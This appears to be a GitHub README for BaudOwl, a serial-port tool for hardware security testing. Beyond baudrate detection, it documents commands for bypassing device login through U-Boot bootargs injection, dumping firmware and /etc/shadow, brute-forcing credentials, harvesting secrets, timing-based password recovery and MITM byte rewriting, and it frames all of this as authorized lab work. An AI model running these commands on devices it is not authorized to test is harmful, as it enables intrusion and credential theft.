Skip to content

Latest commit

 

History

63 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🦉 BaudOwl

baudowl

The Ultimate Serial Port Detective

    )___(
    (o o)   BaudOwl v1.7.0
   /  V  \  -------------------
  /(     )\  The Serial Port Detective
    ^^ ^^   Sniffs out baudrates in seconds!

Features

  • 🚀 Automatic baudrate detection
  • ⚡ Turbo mode for fast scanning
  • 🚨 High-speed mode (up to 4,000,000 baud)
  • 🐚 U-Boot autoroot: interrupt autoboot, inject bootargs, drop to a root shell
  • 🧲 Firmware extraction over UART (U-Boot md.b/flash read, TFTP upload, or base64 from a shell)
  • 📤 Serial file upload into RAM (U-Boot loadx/loady: XMODEM/XMODEM-1K/YMODEM)
  • 🧬 Binary protocol fingerprinting (Modbus/NMEA/MAVLink) and framing autodetect
  • 🤖 Expect-style scripting, default-credential testing, secret harvesting
  • 🔌 DTR/RTS auto-reset, serial BREAK, and glitch-trigger coordination
  • ⏱️ Timing side-channel attack and leakage assessment on console checks
  • 🐛 Serial fuzzer (raw or protocol-aware) with crash oracle, auto-reset, and repro minimization
  • 🕵️ Passive sniffing, replay, and a MITM bridge with in-transit byte rewrite
  • 📺 Stay connected after detection: live read-only monitor or two-way session
  • 📊 Real-time detection statistics
  • 🔧 Minicom configuration generator
  • 🎨 Colorful and readable terminal output

Installation

Prerequisites

  • Rust (version ≥ 1.63). The Rust that ships in current stable distros works (Debian 12 = 1.63, Ubuntu 22.04+, Fedora): sudo apt install rustc cargo. For a newer toolchain without root, install via rustup.
  • Linux Packages:
    sudo apt install libudev-dev pkg-config

The committed Cargo.lock pins a dependency set tested to build on 1.63, so cargo build on an older distro toolchain works out of the box. Do not delete it before building.

Build from Source

git clone https://github.com/iotsrg/baudowl.git
cd baudowl
cargo build --release
sudo cp target/release/baudowl /usr/local/bin/

Usage

baudowl --port /dev/ttyUSB0
baudowl --highspeed --auto
baudowl --turbo --quiet
baudowl --name mydevice
baudowl --help

# detect the rate, then stay connected instead of exiting
baudowl --port /dev/ttyUSB0 --monitor       # live view, read-only
baudowl --port /dev/ttyUSB0 --interactive   # two-way, type commands

# U-Boot autoroot (authorized lab targets only)
baudowl --baud 115200 --autoroot --dry-run        # show commands, change nothing
baudowl --baud 115200 --autoroot                  # volatile setenv + boot to shell
baudowl --port /dev/ttyUSB0 --autoroot --interrupt-key ctrl-c

Command-Line Options

Option Description Default
-p, --port Serial port device /dev/ttyUSB0
-t, --timeout Detection timeout (seconds) 5
-c, --threshold Min readability score (0-100) to accept a rate 60
-n, --name Save config and launch Minicom -
-a, --auto Force a scan even when --baud is set false
-b, --baudlist Show supported baudrates false
-q, --quiet Suppress data output false
--turbo Fast scan (common baudrates only) false
--highspeed Enable scan for 1M+ baudrates false
--baud <N> Force a baudrate, skip auto-detection -
-m, --monitor After detection, stream live output (read-only) false
-i, --interactive After detection, open a two-way session false
--monitor-raw With --monitor, do not mask non-printable bytes false
--no-color Disable colour (also honours NO_COLOR) false

Autoroot options (U-Boot shell via bootargs)

Option Description Default
--autoroot Break into U-Boot, inject shell bootargs, get shell false
--shell-arg <S> Boot argument or preset name to obtain a shell (see --list-shell-args) init=/bin/sh
--interrupt-key <K> Key spammed to stop autoboot: enter/space/ctrl-c/esc/\xNN enter
--break-timeout <S> Seconds to spam the interrupt key 30
--single Also append the single (single-user) flag false
--boot-cmd <C> Command used to continue booting after setenv boot
--persist saveenv to flash (persistent, dangerous) false
--dry-run Print commands that would be sent, change nothing false
--list-shell-args List the shell boot-argument presets and exit false

Autoroot: U-Boot bootargs shell

When the target exposes a U-Boot console on UART, --autoroot automates the classic init=/bin/sh boot-argument attack:

  1. Spam --interrupt-key during the autoboot countdown to reach the bootloader prompt.
  2. Confirm the console responds to commands (version banner) before changing anything.
  3. printenv bootargs, parse it, and replace/insert the shell argument (existing init=/rdinit= is replaced; quiet/splash are stripped).
  4. setenv bootargs <new> then boot, then drop into an interactive bridge.

Safety / scope: authorized lab targets only. Changes are volatile by default (a power cycle restores the original bootargs); --persist (saveenv) is opt-in. It aborts before any change if the UART does not confirm responsive. This is a logic-level PoC: it stops at "you have a root shell" (verify with id / cat /proc/version); no payload is delivered. Use --dry-run first.

[A] Bootloader prompt reached.
[B] Responsive. U-Boot 2018.03 (Jan 01 2020 - 00:00:00) board-xyz
[C] Reading current environment...
[D] bootargs rewrite:
    old: console=ttyS0,115200 root=/dev/mtdblock2 init=/sbin/init
    new: console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh
[E] Booting: boot
[F] Shell reached. Interactive bridge (Ctrl-C exits). Verify: id; cat /proc/version

Shell boot-argument presets

--shell-arg accepts a preset name or a raw boot argument. List them with baudowl --list-shell-args:

Preset Boot argument Notes
sh init=/bin/sh most common, no auth (covers BusyBox /bin/sh)
bash init=/bin/bash if bash is present, no auth
sbin-sh init=/sbin/sh some embedded layouts, no auth
ash init=/bin/ash BusyBox ash where /bin/ash exists, no auth
rdinit rdinit=/bin/sh initramfs/initrd, shell before the real root pivots, no auth
single single single-user (may prompt for the root password)
s S single-user, sysvinit style (may prompt for the root password)
rescue systemd.unit=rescue.target systemd rescue (usually prompts for the root password)
emergency systemd.unit=emergency.target systemd emergency (usually prompts for the root password)

Any other value is used verbatim, e.g. --shell-arg "init=/bin/sh rw console=ttyS0,115200". The init=/rdinit= family replaces the device init and bypasses login; single and systemd targets may still require the root password. Existing init=/rdinit= and quiet/splash tokens are handled automatically.


Advanced capabilities

All of these run over the same serial line. For lab/authorized use only.

Firmware extraction

# Dump 1 MB of SPI flash to firmware.bin (breaks into U-Boot, then sf read + md.b)
baudowl --baud 115200 --dump-flash --dump-source sf --dump-offset 0x0 \
        --dump-length 0x100000 --dump-out firmware.bin

# Same dump, but pre-fill RAM with 0xFF first so a short read shows as 0xFF
baudowl --baud 115200 --dump-flash --dump-length 0x100000 --dump-prefill --dump-out firmware.bin

# Fast path: stage into RAM, then have U-Boot push it to a TFTP server baudowl
# runs itself (needs U-Boot networking + tftpput; port 69 needs sudo).
sudo baudowl --baud 115200 --tftp-dump --dump-source sf --dump-length 0x1000000 \
             --tftp-server-ip 192.168.1.10 --tftp-device-ip 192.168.1.20 --dump-out firmware.bin

# Dump device RAM directly via md.b
baudowl --baud 115200 --dump-mem 0x80000000 --dump-length 0x1000 --dump-out ram.bin

# Pull a file from an already-rooted shell (base64 over UART)
baudowl --baud 115200 --shell-dump /etc/shadow --dump-out shadow.txt

# Patch a byte in memory (for example before bootm)
baudowl --baud 115200 --write-mem 0x80010000 --write-value 0x90 --write-count 1

# Upload a file into RAM over serial (U-Boot loadx/loady) and optionally run it
baudowl --baud 115200 --load stub.bin --load-addr 0x80000000 --load-proto ymodem
baudowl --baud 115200 --load payload.bin --load-proto xmodem1k --load-go "go 0x80000000"

--dump-source is sf (SPI), nand, or mmc. mmc byte offsets are converted to 512-byte block addressing automatically.

md.b prints ~4 ASCII chars per byte, so a full flash dump over serial takes hours (16 MB at 115200 is roughly two hours). If the board has a network stack in U-Boot, --tftp-dump stages the region into RAM and uploads it over Ethernet in seconds. baudowl runs the receiving TFTP server itself, so no external tftpd is needed; --dump-prefill is the classic mw.b 0xff safety trick so a short read is visible instead of stale RAM.

--load is the ingress counterpart: it drives U-Boot loadx/loady and streams a local file into RAM over serial (XMODEM, XMODEM-1K, or YMODEM), no network needed. Use it to place a small RAM dumper stub, a replacement image, or a payload, then --load-go "go <addr>" to execute it. The transfer is CRC-checked, unlike a raw --replay.

Detection

baudowl --baud 9600 --detect-framing     # try 8N1/7E1/7O1/8E1/8O1/8N2/7N1, pick the cleanest
baudowl --baud 9600 --detect-protocol    # fingerprint Modbus RTU / NMEA / MAVLink
baudowl --sigrok-driver fx2lafw --sigrok-samplerate 8000000   # logic-analyzer auto-baud

Automation

baudowl --baud 115200 --script flow.txt              # run an expect-style script
baudowl --baud 115200 --cred-brute                   # try default console credentials
baudowl --baud 115200 --harvest --dump-out loot.txt  # scrape secrets from a root shell

Script DSL (one command per line, # for comments):

send <text>            send text plus CR (escapes: \n \r \t \xNN)
sendraw <hex>          send raw bytes, e.g. sendraw de ad be ef
expect [secs] <pat>    wait for a substring (default 10s)
delay <ms>             read/drain for a fixed time
log <message>          print a line

Hardware triggering

baudowl --port /dev/ttyUSB0 --reset esp                 # DTR/RTS reset: dtr|rts|esp
baudowl --port /dev/ttyUSB0 --send-break --break-ms 300 # timed serial BREAK (Unix)

# Fire a trigger (RTS/DTR pulse and/or a command) when a boot marker appears
baudowl --baud 115200 --glitch-on "Verifying" --glitch-line rts \
        --glitch-cmd "./chipwhisperer_glitch.py"

Timing side-channel

Recover a secret from a non-constant-time console check, or assess whether a check leaks timing.

# Recover a password char-by-char from rejection timing
baudowl --baud 115200 --timing-attack --timing-marker "incorrect" \
        --timing-charset "abcdefghijklmnopqrstuvwxyz0123456789" --timing-samples 30

# TVLA-lite: is the check constant-time? (Welch t-test over two input classes)
baudowl --baud 115200 --leakage-test \
        --timing-class-a "correctprefix" --timing-class-b "wrongguess"

The per-character delay must exceed UART jitter; raise --timing-samples on noisy links.

Serial fuzzing

Fuzz a console or protocol parser, detect crashes from the serial output, auto-reset, and minimize the crashing input to a deterministic repro.

baudowl --baud 115200 --fuzz --fuzz-maxlen 256 --fuzz-iterations 5000 \
        --fuzz-reset dtr --fuzz-seed 1

Crashes are matched by signature (kernel panic, data abort, watchdog, and more; add your own with --fuzz-crash-sig). Reset between crashes via --fuzz-reset dtr|rts|cmd|none. Runs are reproducible from --fuzz-seed, and each crashing input is reduced by delta debugging. Use --fuzz-protocol modbus|nmea for structure-aware cases (valid frames with field corruption) instead of raw bytes.

Interception

Sit on the line passively, or inline between two endpoints.

# Passive read-only capture: timestamps, frame splitting, protocol decode
baudowl --baud 9600 --sniff --sniff-decode --sniff-out capture.bin

# Capture boot output by resetting on the same open port (no reset/capture race).
# ESP8266/NodeMCU boot ROM prints at 74880 baud; --sniff-reset dtr|rts|esp
baudowl --baud 74880 --sniff --sniff-reset esp

# Replay a captured or crafted byte log back out the port
baudowl --baud 9600 --replay capture.bin

# Man-in-the-middle: bridge two ports and rewrite bytes in transit
baudowl --baud 115200 --port /dev/ttyUSB0 --mitm --mitm-port-b /dev/ttyUSB1 \
        --mitm-rule "a2b:deadbeef:cafebabe"

Verification status

  • Unit-tested logic (67 tests): XMODEM CRC-16 (canonical 0x31C3) and byte-exact XMODEM/XMODEM-1K/YMODEM transfer over a loopback socket, md.b parsing, base64, Modbus CRC16 (canonical 0x4B37), NMEA checksum, MAVLink framing, Modbus/NMEA frame builders, overflow-safe protocol-aware fuzz generation, NMEA decode hardened against non-UTF-8 input, script parser, secret patterns, sigrok baud math, mmc block addressing, mw.b pre-fill command, hostile-input self-fuzz across every parser, Welch t-test and outlier statistics, PRNG determinism, delta-debugging minimization, MITM rule rewriting, idle-gap frame splitting, and a loopback TFTP-receive test that reassembles a multi-block upload byte-for-byte.
  • Proven end-to-end against a simulated device: autoroot, flash and RAM dump (exact byte reconstruction), base64 shell dump, credential test, timing attack (secret recovered char-by-char), fuzzer (crash found and minimized to the trigger byte), passive sniff (capture and protocol decode), MITM bridge (forward and rewrite in transit).
  • Verified on real hardware (ESP8266 NodeMCU, CP2102 bridge): port access, baudrate detection, passive sniff with boot-ROM capture via --sniff-reset, DTR/RTS reset, and the interactive script engine (AT queries returning firmware version and OK).
  • Code-complete, needs other hardware to verify: serial BREAK, glitch trigger output, framing autodetect, sigrok-cli capture.

Baudrate scoring

Every candidate rate is scanned and ranked; the highest scorer wins, and the margin over the runner-up is reported as a confidence level. A narrow margin means two rates looked alike and the result needs a second look.

The weights are measured, not guessed. A UART sampling at the wrong rate drags start and stop bits into the data field, so wrong rates emit bytes with the high bit set very often. On a bit-level 8N1 simulation of a U-Boot banner:

Rate high-bit bytes score
115200 (true) 0% 90
38400 36% 53
57600 46% 42
9600 45% 28
230400 47% 17

Shannon entropy was evaluated and deliberately left out: the true rate scored 4.73 bits/byte while wrong rates spanned 3.66 to 5.41, so it overlaps the signal and would reduce separation rather than improve it.

Scope: this scores ASCII console output. A correct-baud binary protocol scores low here by design; use --detect-protocol for Modbus, NMEA, and MAVLink.


Output

Colour carries meaning, so a result is recognisable without reading the text:

Style Meaning
Boxed bright green the objective was achieved (root shell, credentials, firmware, a crash)
Boxed bright red a destructive or persistent change (saveenv to flash)
Green [+] a positive intermediate result
Red [!] the operation failed
Yellow [!] proceed with caution
Cyan [*] / [A] phase progress
Dimmed low-signal detail (rejected guesses, per-iteration chatter)
============================================
  CRASH FOUND  iteration 47, 17 byte input
============================================
[+] minimized repro: 1 byte(s) = ff

Colour is disabled automatically when stdout is not a terminal, so redirected output stays clean text. Use --no-color or set NO_COLOR=1 to force it off.


Example Output

Baudrate detection:

    )___(
    (o o)   BAUDOWL v1.7.0
   /  V  \  -------------------
  /(     )\  The Serial Port Detective
    ^^ ^^   Sniffs out baudrates in seconds!

Starting detection...
Testing 16 baud rates...

Testing:  115200 baud... [U-Boot 2018.03 (Jan 01 2020 -] MATCH! (score: 88%)

🦉 HOOT! Detected baudrate: 115200

=== Detection Statistics ===
Baudrates tried: 1
Bytes processed: 50
Detection time: 124.50ms

About

Identify Unknown and custom baudrate values.

Resources

Stars

12 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages